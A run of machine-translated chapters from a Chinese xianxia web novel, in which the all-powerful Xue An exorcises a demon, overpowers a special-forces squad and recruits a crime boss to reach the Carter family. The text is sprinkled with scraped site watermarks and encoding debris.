    At the same time, Song Yi winked at Qin Yu quietly, beckoning her not to conceal, she had better tell the truth.


    When Qin Yu saw this, he took a deep breath, and then nodded, "Yes, my ancestor is indeed in poor health."


    "It''s not just that the body is insecure!" Xue An said lightly, "The reason why you are so concerned about this python flood is probably to use the dragon blood on her to treat your grandfather, right?"


    At this time Qin Yu already knew that this young man in white was no ordinary person, so he simply no longer concealed it.


    "Since you have guessed it all, then I will tell you the truth. My grandfather''s situation is indeed very bad now. Even the genius doctor Hua Xingyu is helpless, so he took this dangerous move in desperation, but it looks like this... "


    Qin Yu glanced at Xiao Sha who was still standing in a daze, and said with a sad expression: "It is estimated that this trick has also failed."


    "That''s not necessarily true, at least I can try!" Xue An said.


    "Huh?" Qin Yu didn''t expect Xue An to say this, and couldn''t help looking at him in surprise.


    "Aren''t you asking for a cure for your grandfather''s illness? I can try it for you!"


    If you change what others say, UU read www.uukanshu. Com Qin Yu would never believe it, after all, even Hua Xingyu, known as the Xinglin national player, was helpless with his grandfather, so how could other people have a solution.


    Only after these words came out of Xue An''s mouth, Qin Yu felt a sense of peace inexplicably.


    It''s as if there is nothing in the world that can be hard to beat him.


    So she just pondered for a moment, and then solemnly nodded.


    "If this is the case, then there is Mr. Lao Xiao!"


    Xue An smiled freely, but did not rush to leave. Instead, he looked at An Qing who was aside, and a complex color flashed in his eyes.


    He respects An Yan''s sister very much.


    After all, she was the only one in the entire Anjia who did not oppose her marriage with An Yan.


    It''s just that in this chaotic timeline, An Yan, like herself, has never appeared at all.


    So An Qing in this timeline or the entire Anjia��s fortunes are very different.


    For example, although An Qing also joined Hongyu Villa, it was because of her status as the daughter of the Ancestral House. Mi He Mi


    But this identity became less noticeable after entering Hongyu Villa, at least for the entire federal government, the current Anjia can only be regarded as a second-rate giant.


    And the status is linked to the available spiritual resources, so An Qing''s current strength can''t be compared with the world without tampering.


    This is why An Qing took the risk to hunt Xiaosha.


    After all, there are only a few resources. If you don''t work hard, you won''t be able to catch up with others.


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2622： clue

    An Qing naturally noticed the look in Xue An''s eyes, and she couldn''t help but feel surprised.


    In fact, she felt strange from the moment she saw Xue An.


    I always feel that I should be very familiar with this young man, but I can''t remember where I have seen him.


    But the question in her heart was quickly asked by another person.


    I saw Xiaosha finally sorted out his thoughts, and then flew to Xue An in a vertical leap, looking at him straightforwardly.


    "Who are you? How do I feel that you are so familiar?"


    Xue An smiled, "Who am I? I am your master!"


    "Bah, whose master are you? I''m an innocent dragon, my mother, so shameless!"


    With that said, Xiao Shafen was embarrassed and punched Xue An.


    But how could she be Xue An''s opponent just by relying on her?


    I saw that she didn''t even touch the corner of Xue An''s clothes. She was flicked by Xue An just halfway through her fist.


    Xiao Sha refused to give up and wanted to do it.


    Xue An said lightly: "Since you are so fierce, let''s be honest for a few days!" Xiru 9bzw.com Xiru


    After giving the order, Xiao Sha felt that her bloodline cultivation was instantly sealed, and she couldn''t even open her mouth to speak.


    And Song Yi and the others, who also looked at this hand, were frightened.


    At the same time, Hu Ye Feibai and Si Qingqing also flew to the ground.


    After seeing Xiao Sha, who was restrained by heavy pressure, but was full of dissatisfaction, Hu Ye couldn''t help but gloat.


    "Tsk tusk, I didn''t expect that your little girl''s temper will not change a little in this world. It is good to let you learn a little lesson now, so that you will be overbearing again when the time comes."


    Fox Ye''s joking jokingly made Xiaosha''s eyes widened, and she looked at him puffingly.


    But this look matched her face that hadn''t grown open, besides making people laugh, there was no deterrent.


    At least Huye couldn''t help but stretched out her hand and squeezed her face, "It''s really like a little milk dog!"


    "Well, the matter here is finished, let''s go back to Beijiang first!" Xue An said at this time.


    Everyone nodded, just about to turn around and return.


    When Xue An waved his hand, everyone felt a flower in front of them, and then they were extremely surprised to find that these people had actually returned to the sky above Beijiang.


    Although today''s earth is full of aura, masters and powerhouses emerge in an endless stream, teleporting thousands of miles, moving the ground into an inch, this kind of thing is not a particularly advanced technique, many people can.


    But the key is that Xue An didn''t reveal any spell fluctuations from beginning to end, but he took so many people back to Beijiang directly with a wave of understatement.


    This method directly surpassed many people''s imagination, especially those doormen and bodyguards who followed Qin Yu, all of them looked in awe.


    As for Qin Yu, it was a joy.


    The stronger Xue An showed, the more likely it was to heal grandpa''s injuries.


    So she immediately stepped forward to lead the way, and led everyone straight to the Qin''s villa.


    This distance was only a blink of an eye. After entering this heavily guarded villa, Qin Yu abandoned the idlers and led only a few people such as Xue An Song Yi to the back house.


    After stepping into the bedroom, a huge talisman seal was stuck on the facing wall.


    The charm of this talisman is awe-inspiring, obviously from everyone''s handwriting.


    But after turning around this entrance wall, the room was full of thick black air that was enough to condense into fog.


    Song Yi was startled, "The strong devilish energy made my grandfather hurt in no way, it''s obviously a wicked one!"


    Qin Yu sighed, "Master Song is right. It is indeed an evil spirit, but I have asked the master genius doctor to find out which evil **** my grandfather has collided with. In desperation, I thought of using dragon blood. Wait for the most yang thing to make the last fight."


    With that said, Qin Yu looked at Xue An expectantly, hoping to see a glimmer of hope in his face.


    But Xue An''s face didn''t look surprised, and even a trace of extra expression owed him.


    Qin Yu was a little disappointed in her heart.


    Could it be that he can''t help it?


    But at this moment, he saw Xue An walking towards the bedside.


    Qin Yu was shocked and immediately reminded: "Little sir, this devilish energy is quite difficult, if you don''t prepare for it..."


    She just wanted to say that if she rushed forward without being ready, she would be easily hurt by it.


    But before she could finish her words, a shocking scene happened.


    Facing the turbulent devilish energy, Xue An only spit out a word.


    "roll!"


    With an order, the originally arrogant demonic energy instantly dissipated.


    Then Xue An walked to the bed and looked at Qin Yuan who was lying on it, with a cold ridicule flashing in his eyes.


    "Come out, if you don''t want to lose your soul in the next second!"


    As soon as the voice fell, there was almost no interval between Qin Yuan''s facial features and a lot of black energy was madly overflowing.


    These black qi quickly gathered into a ball, turned into an illusory figure, and then knelt down in front of Xue An tremblingly.


    "My lord, spare my life!"


    Qin Yu''s mouth was wide open.


    During this period of time, she invited countless experts, but none of them could really show the evil spirits in her grandfather''s body.


    Even many people have made countless arrangements in advance, such as yellow paper magic talisman, chicken blood and cinnabar, etc., but they still can''t even reach grandpa but they didn''t expect it to be so tricky. The problem was so simple in the hands of this white-clothed boy.


    He didn''t even take a shot, but simply went to that point, and the evil demon took the initiative to show up and beg for mercy.


    How strong is this deterrent?


    At the same time, Xue An looked at the demon with interest, and then raised his eyebrows quite unexpectedly.


    "Are you not from this world?"


    "Yes, the adult is a clear lesson, the younger one is an evil demon from outside the territory!"


    "Oh? Then why did you appear here, and how did you parasitize this person?"


    "My lord, to be honest, I don''t know why I suddenly appeared here. Originally, I stayed well outside the domain, but one day I was suddenly dragged into the time vortex by some unknown force, and I waited to wake up again. That''s it!" The demon trembled.


    "Oh? Then you are the only demon here or do you have other companions?"


    "There should be many companions, because I can faintly feel the existence of other demons!"


    Xue An thoughtfully.


    He didn''t expect to have unexpected gains here.


    Undoubtedly, the time vortex seen by this extraterritorial evil demon should be related to the timeline changes of the heavens.


    While he was silent, the demon was also looking at him tremblingly.


    He never expected that just a simple parasitic would attract such a powerful existence. Mi He Mi


    If I had known this would be the case, I would never agree to that kid''s offering at first.


    Just as the evil demon was full of regret, Xue An lightly pointed a finger, and a person appeared directly in the room.


    I like Invincible, and please collect it from Dad of Xianzun: () Invincible, it is the fastest to update from Dad of Xianzun.

 Chapter 2623： Scrabble

    The visitor was a middle-aged man, and he was wearing a bathrobe with a look of confusion and confusion on his face.


    Obviously, I was still in the clubhouse just now and had a very deep exchange of feelings with the new girl.


    Why did the scene in front of him change in the blink of an eye?


    When he saw this person, Qin Yu exclaimed, "Why are you?"


    The visitor was Qin Tian, ??the manager of the Qin Group, and he also had a cousin who was Qin Yu.


    Xue An said indifferently: "Because he is the one who drove the evil demon from outside the territory to harm your grandfather!"


    As soon as this statement came out, Qin Yu shook his whole body, and there seemed to be a flash of lightning in his mind, and then all the clues were connected together.


    In fact, this is not difficult to guess, because once Qin Yuan died, the biggest beneficiary was Qin Tian, ??who was already in a high position in the Qin Group.


    In fact, Qin Yu had been skeptical before, but had been unable to produce evidence. Now seeing that it was the hand of this cousin with a human face and a beast heart, he couldn''t help but feel furious.


    But before she had a seizure, I saw Xue An gently hook his hand, and Qin Tian, ??who was trembling, floated involuntarily, and then flew to Xue An.


    "You...what do you want to do? I tell you, I am a member of the Carter family. If you dare to move me, be careful of your head!" Qin Tianqiang shouted.


    Xue An frowned slightly, and then an invisible pressure compressed the Qin Tian into a ball in the air.


    Click!


    Along with the sound of broken bones, Qin Tian yelled in pain, but the next second, because of the dislocation of his jaw, his roar was abruptly held back.


    Although this punishment only lasted for less than a few seconds, it still made the white, fat, and dignified Qin Tian sweating profusely, and the look in Xue An''s eyes was full of horror.


    Because he had never seen such a person, he didn''t talk nonsense with himself at all, and directly tortured himself.


    And he also saw the bone-coldness in Xue An''s eyes.


    It felt as if he was an insignificant ant.


    This made him see the situation clearly in an instant, and he didn''t dare to have the slightest fluke.


    "It seems that you are already sober now, so I ask you, who is the person who helped you drive these extraterritorial demons?"


    Qin Tian hesitated slightly, but immediately he saw Xue An''s eyebrows that were about to raise, and immediately shouted.


    "It''s the Carter family, someone from the Carter family instructed me to do this!"


    It''s this Carter family again!


    Xue An moved in his heart and felt that what he had thought before seemed a bit simpler.


    This Carter family is obviously not as simple as a clan, especially when he was on Mars before, Zhang Tianyou also specially told him to pay more attention to the Carter family.���bXwX.��co��


    In this way, the Carter family is really the key.


    Xue An groaned and said nothing, and his silence made Qin Tian''s panic even worse. He was like pouring beans from a bamboo tube, telling all the story before Xue An asked questions.


    "It was Valentine Carter of the Carter family who instructed me to do this. He gave me a magic weapon at the time. As long as I drive such a thing, he can summon an extraterritorial evil demon. Then he asked me to attack Qin Yuan, saying that it is only necessary He died and made me the president of the Qin Group!"


    "I was obsessed with my heart for a while, so I obeyed him, but I was forced to do it, because it was the Carter family, how could I afford it?"


    Qin Tian''s words echoed in the room, and Qin Yu''s expression was ugly to the extreme.


    On the one hand, he was angry at the shamelessness of his cousin, and on the other, he was shocked by what he said.


    If, as he said, the main messenger behind the scenes is the Carter family, then the situation of the Qin Group is extremely dangerous.


    Because although the Qin Group was considered good in Beijiang, it was still far behind the Carter family, which occupied an important position in the federal government.


    Now it has attracted the coveting of this behemoth, no matter what his ultimate goal is, it is extremely unfavorable to the Qin Group.


    "What is that artifact?" Xue An asked.


    "It was hidden by me in a secret niche behind the bed in my bedroom, and it''s not there now..."


    Qin Tian opened his mouth wide, because before he finished speaking, Xue An''s hands flashed, and then the magical artifact that he had hidden in the safe appeared in his hands.


    "Is it this?" Xue An said lightly.


    Qin Tian nodded frantically, "Just... this is it!"


    I was afraid that I would be too late to answer, and then be killed by this incredible young man.


    This so-called artifact is actually a small jade piece the size of a palm, but it is not jade white, but red as blood.


    At the same time, there are countless black threads that are as thin as hair, densely entwined, making people feel the scalp numb just by looking at it.


    But the most frightening thing is that these threads are actually faintly flickering, just like some kind of life is breathing inside.


    Xue An turned to look at the extraterritorial evil demon who was kneeling on the ground and daring not to move.


    "Does this thing call you and drive you?"


    This extraterritorial evil demon can be said to be the only one present besides Fox Ye who knows how powerful Xue An''s strength is, so it dare not have the slightest resistance to it from beginning to end, and immediately nodded.


    "Yes, this is it!"


    "Interesting!" Xue An said thoughtfully while playing with this piece of jade.


    Huye also leaned forward at this time, and said with a serious face: "This jade piece seems to contain a very strange energy. UU reading "


    "Yeah, if I''m not wrong, what is contained in it is the power of broken time, and these countless black lines are the product of the time line collapsed."


    Fox night was startled, and immediately overjoyed, "So this thing is indeed related to the changes in this world?"


    Xue An nodded, "You can say so!"


    Fox night eagerly flexed his hands, "Then what are you waiting for, hurry up to the Rao Shizi Carter family and ask what is going on!"


    "Don''t worry, you have to deal with something before you go."


    "what''s up?"


    Xue An didn''t speak either, nodded and pointed, and this extraterritorial evil demon was sealed into this piece of jade.


    As for Qin Tian, ??who was about to be frightened, had Qin Yu and others to clean up, Xue An didn''t bother to pay attention to these **** things in his family.


    Before he strolled to the bedroom window, a smile gradually rose from the corner of his mouth.


    "After waiting so long, it''s finally here!"


    As soon as the voice fell, the glass in front of him shattered, and at the same time, a fist as big as a casserole blasted in front of Xue An''s face with a thunderous force.


    The speed and power were so fast that a gust of wind blew up the entire bedroom.


    But in the face of this shocking punch, Xue An didn''t even blink his eyelids. He just stretched out a finger lightly and slammed it in front of him. Mi He Mi


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2624： flaming Phenix

    Boom!


    Accompanied by a dull sound like a drum.


    Fists fisted, and a violent storm blew the hair on Xue An''s forehead, but other than that, Xue An didn''t even move at all.


    Especially that finger, when faced with a fist that was several times larger than his own, was like a cast of copper and iron without moving.


    On the contrary, this fist the size of a bowl and a casserole was shaken out abruptly, and then there was a muffled grunt outside the window.


    But this muffled hum was so short that it disappeared almost instantly.


    What disappeared together was the boiling breath outside the window that was originally burning like a torch.


    In an instant, everything returned to silence, if it weren''t for the night wind pouring in from the broken window, it would be as if nothing had happened.


    But Xue An didn''t panic at all about this, but smiled faintly, "It''s a good cooperation."


    When the words fell, Xue An raised his hand and stretched out the back of his head, snapping two fingers.


    Click!


    A dagger hidden in the void was abruptly pinched off.


    At the same time, even the person holding the dagger also showed a figure, but a small, thin figure.


    When he found out that he had been exposed, the little man didn''t know his feelings well, and immediately backed away.


    Xue An didn''t bother him, but with a flick of his fingers, the truncated dagger flew straight out, and it happened to be nailed to the wall behind the little man.


    Boom!


    Although the tip of the dagger is very small, when it is nailed to the wall, it is like an elephant hitting it.


    The solid concrete wall instantly cracked into countless cracks and showed deep depressions.


    This shocking blow scared the little man into a huge shock.


    "Fuck it, get an idea, get out!"


    But it was too late.


    Because at the moment he entangled Xue An, at least dozens of powerful auras attacked Xue An from all directions.


    The strongest one was the punch that just pierced the glass, followed by a long spear.


    The whole body of this long gun is made of unknown metal. It has a smooth shape and exquisite workmanship. It can be seen at a glance that it is made by everyone.


    But this is not important. The important thing is that the sharp point of this big gun is unparalleled, and there are several deep blood troughs extending down, and there seems to be undried blood in the blood trough.


    Just by looking at it, you can conclude that this long spear is definitely a big killer.


    And the person who made the gun was obviously not a mediocre hand, I saw that the tip of the spear was trembling at an extremely high frequency during the stabbing.


    The speed is so fast, even though it is only a square inch, there is still a sharp howling sound.


    At the same time, the gun was fluttering, and the engulfing wind rose, showing the full dominance of this gun.


    "Overlord Spear?"


    Xue An chuckled, raising his hand and flicking.


    Bang.


    The fingertips just hit the tip of the big gun, and then the big gun began to vibrate violently from the tip of the gun, and when it was transmitted to the body of the gun, it was already surging like a wave.


    Cry!


    Subtract B*xwx.co. The spear fell to the ground, and then the gunner looked at Xue An in horror.


    Because he did not expect that the strongest blow he had accumulated for such a long time before he had even had the qualifications to make the other party take it seriously.


    With just a flick of his finger, his spear let out his hand.


    How powerful is this?


    And just after the gunman''s stunned effort, Xue An lightly stomped his foot.


    "Retreat to me!"


    boom!


    When the toes touched the ground, everyone felt that the earth shook.


    These people who were launching an attack on Xue An were the first to be among them, and they were directly shaken out by this invisible shock wave.


    Only one person barely stood still, and at the same time threw a punch at Xue An with all his strength.


    This is a burly man, but with one hand drooping softly, he fights with the other hand alone.


    Needless to say, he must have struck the punch that pierced the glass just now, and the force of the counter shock obviously caused him a lot of suffering.


    Seeing the blow of the ruined boat, the little man behind him couldn''t help but screamed.


    "Rewind, you can''t be his opponent!"


    As soon as the voice fell, Xue An chuckled, "Daniu, is this your current strength? This disappoints me too much!"


    When the words fell, Xue An didn''t even move his hand, just let out a sigh of relief.


    A wave of power came out, and the brawny man in front of him flew straight away.


    Boom!


    He staggered to the ground, his simple and honest face was full of shock.


    In this shock, there were surprises about Xue An''s strength, but more of it was because of what he said just now.


    Why would he know his name?


    And also shouted out so familiarly?


    Also, what happened to this inexplicable throbbing in my heart?


    Just as he was puzzled, Feibai couldn''t help being shocked when he saw this group of defeated people.


    "flaming Phenix?"


    That''s right!


    The group of people who had just attacked Xue An were members of the Fire Phoenix Special Forces.


    The big man is Zhou Da Niu, and the small man is Zou Sui.


    As for the one who made the Overlord Spear, it was Captain Cheng Hao.


    Sacrifice such as 75zw.com sacrifice such as. Because in this timeline, they did not encounter Xue An, an instructor, but were trained by people from the Federal Office.


    So their strengths can''t be the same at all.


    Especially Zhou Daniu, in this timeline, he only practiced a very common physical exercise method, so his achievements are very limited.


    Cheng Hao simply picked up the family heirloom.


    And the reason why they came here to attack Xue An was naturally because of the Carter family''s instruction.


    After seeing the situation in the Drunken Dance Bar, the Valentine Carter didn��t care about Grace��s death, but out of consideration of maintaining the family��s honor and majesty, UU Reading www.uuk��nshu.com still notified the incident. flaming Phenix.


    And in the briefing, Valentine said very clearly, let them give a reasonable solution as soon as possible.


    In fact, the Fire Phoenix up and down were very angry about this announcement.


    Because Valentine, or the entire Carter family, apparently regarded the Fire Phoenix as their own private army.


    Even let them do this kind of wet work.


    This is a shame for everyone who has always had Chinese pride in their hearts.


    But helplessly, they are now under the jurisdiction of the federal government.


    And the federal government has long seen itself disliked by these people, and cut its own budget several times.


    This time, the annual budget is even more blunt.


    After all, in the eyes of many people in the Federal Security Office nowadays, the Fire Phoenix is ??nothing more than a dispensable existence.


    Fortunately, the leader of the Carter family came forward and saved part of the budget.


    But because of this, the Fire Phoenix became the private force of the Carter family.


    But despite how angry they were in their hearts, they still had to follow the clues to find above the earth in accordance with the content of the bulletin.


    I have to say that even in this timeline, the Fire Phoenix is ??still a very powerful force.


    Even if Xue An was holding an ID card forged by Zhang Tianyou, they still found his whereabouts in a short period of time.


    This was the short and violent assault just now.


    Mi He Mi. At this moment, everyone at Fire Phoenix looked at Xue An with despair and astonishment.


    Because at this time they discovered that all the attacks they had just made hadn''t made the white-clothed boy move even one step.


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2625： The track of fate

    "You...how did you know my name?" Zhou Daniu said in shock.


    Xue An smiled, "I don''t only know you, but I also know other people''s!"


    As he said, Xue An raised his hand and pointed at Cheng Hao, whose hands were dripping with blood because of the missing gun.


    Cheng Hao was startled.


    Knowing his name is not too strange, after all, the Fire Phoenix Special Forces is also a bit famous in the entire federal government.


    The point is that he even knows his hometown and family martial arts, which is incredible.


    At the same time, I saw Xue An talk about the origins of everyone present.


    "Zou Sui, a person from Xiaoliang Prefecture, is good at lurking skills. He had a crush in middle school and died without a problem."


    Zou Sui was like seeing a ghost.


    He had a crush on a girl when he was in middle school, even his parents didn''t know about it. How did this boy in white know about it?


    "Sun Ling, a native of Qingzhou, has learned Taoism from strangers since he was a child. The 13 blades of the ghost gate are superb, right?"


    A tall man in the crowd was also shocked, looking at Xue An in disbelief.


    Next, Xue An was like a few Jiazhens, and said all the details of the people present.


    In an instant, there was a commotion in the field.


    Because what Xue An said are indeed true facts, and there are many secrets that are still unknown to others.


    For a time, many people looked suspiciously at Feibai.


    After all, he was a former member of the Fire Phoenix, and now he is following behind this young man. Maybe he leaked all these news.


    Seeing this scene, Xue An just smiled faintly, "You don''t have to look at him like this, he can''t even know the things I''m talking about."


    Yes!


    Even if Feibai had been a member of the Fire Phoenix, it was impossible to know everyone''s secrets.


    How did this boy know?


    For a time, Xue An''s image in the minds of these people became more and more tall and mysterious.


    Xue An smiled faintly, but he was embarrassed in his heart.


    All these things he said were learned as the Fire Phoenix instructor in a world that had not been tampered with.


    Sacrifice such as kanzagyi.cc sacrifice such as. At that time, because he was the object of the crazily admiration of Cheng Hao and others, he never concealed anything from him.


    In this chaotic timeline, Xue An tells everyone''s past, the purpose of which is to see if there will be any difference.


    It turned out that there was nothing wrong with what was said.


    This shows one thing, that is, in this timeline, the birth and past of Cheng Hao and others have not changed.


    Even because of the inertia of fate, they still became a member of the Fire Phoenix.


    But this fire phoenix is ??totally different from the fire phoenix under his own leadership.


    In particular, Zhou Daniu, Cheng Hao and others have changed dramatically.


    Decrease bxW*x.cO����. It can be said that because of the tampering of the timeline, their disappearance has caused a huge change in the trajectory of these people.


    Thinking of this, Xue An couldn''t help but look down at the jade piece in his hand.


    The countless black threads on the jade piece are densely twisted and intertwined, just like the fate of an individual, influencing each other and achieving each other.


    In this mysterious situation, the disappearance of one of the seemingly insignificant lines may lead to the fate of everyone in the unknown.


    Thinking of this, Xue An vaguely seemed to have caught some key thing, but after a careful thought, there were all sorts of clues, completely to no avail.


    In desperation, Xue An had to temporarily press this inspiration in his heart, and then Chong Cheng Hao and others smiled slightly.


    "I know you must be very curious about who I am. Now I give you a chance. If you want to know the truth of the matter, then come with me!"


    After that, Xue An turned and walked out the window.


    Cheng Hao and others looked at each other, and then followed silently.


    They are really curious about Xue An''s identity.


    It is not only because of his powerful strength, but more importantly, because of his extraordinary sense of familiarity and his familiarity with everyone in the past.


    This is by no means an ordinary powerhouse as the Carter family said.


    In order to find the answer in their hearts, they temporarily gave up the so-called command, followed Xue An and flew away.


    The Carter family is headquartered in New York, the former country M. Of course, this country has now become the second district of the federal government. The first district is undoubtedly China.


    However, compared with China, which still retains the basic system and urban organizational system, the current country M has completely changed its appearance.


    Everything before was abandoned, and the federal government completely accepted the transformation, and even this New York City has become a very important city under the federal government.


    When Xue An and his party came to this city, it was a sunny morning because of the time difference.


    The big city at the foot is extremely prosperous, and the Carter family��s headquarters is located in the middle of the top wealthy district.


    But it is not easy to get in, because all the wealthy businessmen live in this wealthy district, and there are even members of the Presbyterian Church of the Federal Government.


    Therefore, the guards here are extremely strict, and powerful magic circles are placed in the sky and the ground to prevent the monks from trespassing.


    Of course, these so-called magic circles are just a joke to Xue An. UU reading


    But with that sentence, Xue An didn''t want to startle the snake, especially at the critical moment when this clue had already appeared, a little carelessness might alarm the black hand behind the scenes.


    So when the group of them showed up in New York City, they didn''t go directly in. Instead, they landed in an urban area separated by a wall from the wealthy area.


    But just like this wall apart, like a moat, two worlds with extremely sharp contrasts formed.


    If you say that there is a paradise with flowers and order on the other side of the wall.


    Then the wall is a messy and dirty hell.


    The gap between the rich and the poor has never been so obvious, but the people here are accustomed to it, and don''t even think it is a matter of concern.


    After all, country M, the predecessor of this second district, is a country that advocates "freedom".


    To put it bluntly, as long as you have money, you can have almost unlimited freedom, and vice versa.


    So even behind this towering wall is a beautiful world full of flowers.


    But the homeless people gathered under the wall remained indifferent, like puppets who had lost their souls, falling into complete numbness.


    Si Qingqing, who had never seen this scene before, couldn''t help frowning, "What''s the matter? Isn''t this second district very prosperous and stable in the propaganda of the Federal Security Office? So what''s the matter with these homeless people?"


    Before Xue An answered, Cheng Hao said quietly: "Do you believe in the propaganda of the Federal Government? This second district is indeed prosperous and stable, but it only refers to the upper class. As for these people..."


    Mi He Mi. Cheng Hao shook his head, "In the eyes of the Federal Government, they can''t be regarded as humans at all, just talking beasts."


    I like Invincible, starting from Dad of Xianzun, please collect it: () Invincible, starting from Dad of Xianzun, the update speed is the fastest.

 Chapter 2626： Evil king

    Although I felt a little bit unbelievable, Si Qingqing was still silent in the end when reminiscent of the usual style of the Federal Office.


    Xue An only glanced at the high wall lightly, then turned around and said.


    "Let''s go! Cheng Hao is right. At least in the eyes of many people, these homeless tramps are inferior to the dog in their backyard!"


    They went straight through a dilapidated street, and the sights they saw along the way made it hard to believe that this was the most prosperous second district in the entrance of the Federal Government.


    The brawny men gathered in groups on both sides of the road are even more shocking.


    Because these people are not only ordinary people, there are also many fallen monks, and even among them are transformed mechanical warriors.


    All these people squinted their eyes and looked at Xue An and the group of people, their eyes full of evil.


    This chaotic sight made Si Qingqing''s scalp numb.


    She was convinced that if it weren''t because of the large number of people on her side and it would be difficult to provoke it at first glance, these brawny men would have rushed forward.


    But at this moment, Xue An raised his eyebrows slightly and looked up at these people.


    Suddenly, these brawny men who were originally arrogant and arrogant became as if they had seen snakes, scorpions, and beasts, their complexions changed drastically, and even the birds and beasts were scattered.


    Xue An didn''t bother to pay attention to the group of people, but led them forward.


    Hu Ye couldn''t help it anymore and leaned forward and asked, "Old Xue, where are we going?"


    "Find someone who can bring us in without knowing it." Xue An said lightly.


    Fox Ye is even more strange, "Didn''t you just return to Earth? There are people you know here?"


    "Knowing is knowing, but that''s what happened before. Now he definitely doesn''t remember me, but I believe that as long as he is here, there must be a way!"


    "Who is so good?"


    "It''s not terrible, but some people are naturally suitable for crime, so the chaos here should be his favorite soil."


    While they were talking, they had already arrived in front of a bar.


    �� minus bxw ��. It is said that it is a bar, but it is just a small building that is slightly dilapidated.


    Many drunk alcoholics gathered in front of the door, and the noise from inside could be heard from a long distance away.


    Even the aborigines here dare not walk past here.


    Because those who dare to gather here are thugs among thugs, a little carelessness may lead to serious disasters.


    But when Xue An and his party came closer, these so-called thugs immediately dissipated like a tide.


    Without him, Xue An''s momentum is really amazing.


    It was like a sharp sword out of its sheath, which made people dare not look directly at it.


    Although these thugs have brutal temperaments, they are not fools.


    Naturally knowing that such a strong person suddenly appeared here must be something wrong, it is better not to be in trouble.


    So when Xue An walked around the bar, there was no one in front of the door.


    Xue An didn''t bother to walk into this smoky bar anymore to find someone, and saw him wave a hand.


    The wall facing the street on the second floor was directly turned into nothing, and then Xue An came to the suite inside in a flash.


    There is a huge desk in the room with a person sitting behind it.


    This man is a typical white man in his forties and fifty years, and he is well dressed like a gentleman.


    At this moment, he was sitting behind the desk and tasting a cigar, and the wall was gone. When he reacted again, Xue An had already appeared across the table.


    This sudden series of changes made him froze in his chair.


    "Who are you? What do you want to do? If you want money, you can say as many as you want, as long as you don''t kill me!"


    This person is very knowledgeable about current affairs, and he doesn''t even have any resistance. Even if he has a button on his hand, as long as he presses it, the entire room will be transformed into a murderous battlefield, and countless gunpoints will be aimed at anyone except himself. .


    But he didn''t do that, because as the king of sin he had an extremely clear understanding.


    This young man is by no means an ordinary person, all his methods are like a joke in front of him.


    If he dared to resist, he would let his bones disappear in the next second.


    I have to say that his cognition is very accurate. Xue An only smiled faintly, and then sat opposite him and raised his leg on the table.


    "I don''t want money, I only let you do one thing for me!"


    "what''s up?"


    "It''s very simple, I want to enter the Carter family, but I don''t want to disturb other people, so I''m coming to you!"


    "This is impossible!" The man shook his head and refused.


    "I''m just the leader of this block, and the Carter family is a behemoth that occupies the council and the elder''s house, not to mention that I can''t even enter this rich district, even if I enter, it is impossible to get close to the Carter family. "


    "Oh? Is it so simple to refuse?" Xue An smiled slightly.


    Sacrifice is like sacrifice. It''s just that his smile made the man feel stressed, and cold sweat appeared on his forehead.


    "I know all the difficulties you mentioned, but I believe that as the king of evil, you should have a way!"


    "After all... not everyone can deserve the title of Bone Eviscer Griffin!"


    As soon as the name Griffin came out, the man was shocked.


    Because no one has mentioned this name for a long time.


    He once thought that everyone who knew the name was dead, but he didn''t expect this young man to know so clearly.


    "Who are you?" Griffin said dumbly.


    "A person you have known for a long time, but you have forgotten!" Xue An said lightly. UU reading www.uuk��nshu.com


    This man is exactly the mob that Xue An met and surrendered in Sin City, Griffin the Eviscerate.


    Speaking of it, it was not long after Xue An returned from rebirth. At that time, Xue An traveled the world with An Yan, and then came to the Sin City in the desert of Country M.


    At that time, Griffin was known as one of the three giants of the dark, and he was extremely cruel.


    However, Xue An soon taught him how to be a man, and finally surrendered the beast.


    Since then, Griffin has sincerely convinced Xue An and worshipped the five bodies.


    Unexpectedly, Griffin in this timeline is still relying on crime to make a living.


    However, because of the timeline change, the City of Sin has been wiped out by the Federal Security Council, so he came to this New York City and once again became the King of the Underground.


    Griffin took a deep look at Xue An, and finally lowered his head helplessly.


    "At this time tomorrow night, there will be a charity dinner in the rich district. You should be able to find a chance to get in!"


    "Very well, you made a very wise choice!" Xue An smiled slightly, then got up to leave.


    "Wait a moment!"


    "Is there anything else?"


    "I don''t care about any enmity between you and the Carter family, but I still want to remind you that the foundation of this family is far from being as simple as it seems."


    "So if you want to move him, it''s best to think about the consequences, especially the top wealthy district, when the anger of the federal government will not be so easy to bear!"


    Xue An just shrugged slightly.


    Mi He Mi. "Don''t worry, as long as I get the answer I want, all problems will no longer be a problem!"


    I like Invincible, starting with Dad of Xianzun, please collect it: () Invincible, starting with Dad of Xianzun, the literature update is the fastest.

 Chapter 2627： Say, who are you going to kill!

    Xue An is gone.


    Griffin was the only thing left in the room sitting on a chair, until a cold wind blew in from the missing mountain, he gave Lingling a chill, and then yelled hysterically.


    "Come on, come on!"


    Although so many things happened on the second floor just now, there is still singing and dancing on the first floor.


    It wasn''t until Griffin''s cry came that he alarmed the guards on the first floor.


    These people ran up in a panic, and then they were also stunned by the scene in front of them.


    I saw that the whole wall facing the street disappeared, but it didn''t seem to be destroyed by human violence, because there was no trace of dust or fighting.


    And his boss was sitting behind the desk, looking pale as if he had seen a ghost.


    "Boss, has something happened? Why is the wall missing?" the security captain on the first floor asked with astonishment.


    "You idiots, how the **** do I know what''s going on? It was fine just now, and the wall disappeared in an instant. Don''t hurry up and find someone for me to rebuild this wall!"


    "Yes Yes Yes!"


    In the face of Griffin who was furious, this group of men was only a promise and hurriedly retreated.


    Seeing his subordinates start to get busy, Griffin tremblingly took out his cigar and prepared to suppress his shock.


    Decrease bXwX ��. However, several times of ignition and ignition ended in failure. Under suffocation, he simply dropped the lighter, leaned back on the chair, and began to figure out the incident.


    Griffin is a very smart person, otherwise it would not be possible to gain a foothold in this sinister New York City.


    But it is precisely because of this that he can better understand the horror of the white-clothed boy just now.


    That is a kind of power that cannot be described in words.


    Even thinking about it now makes Griffin tremble uncontrollably.


    But this is not the most important thing, the most important thing is the sentence Xue Anlin said before leaving.


    As long as I get the answer I want, all problems will no longer be a problem.


    Sen''s cold murderous intent is hidden in this seemingly ordinary sentence.


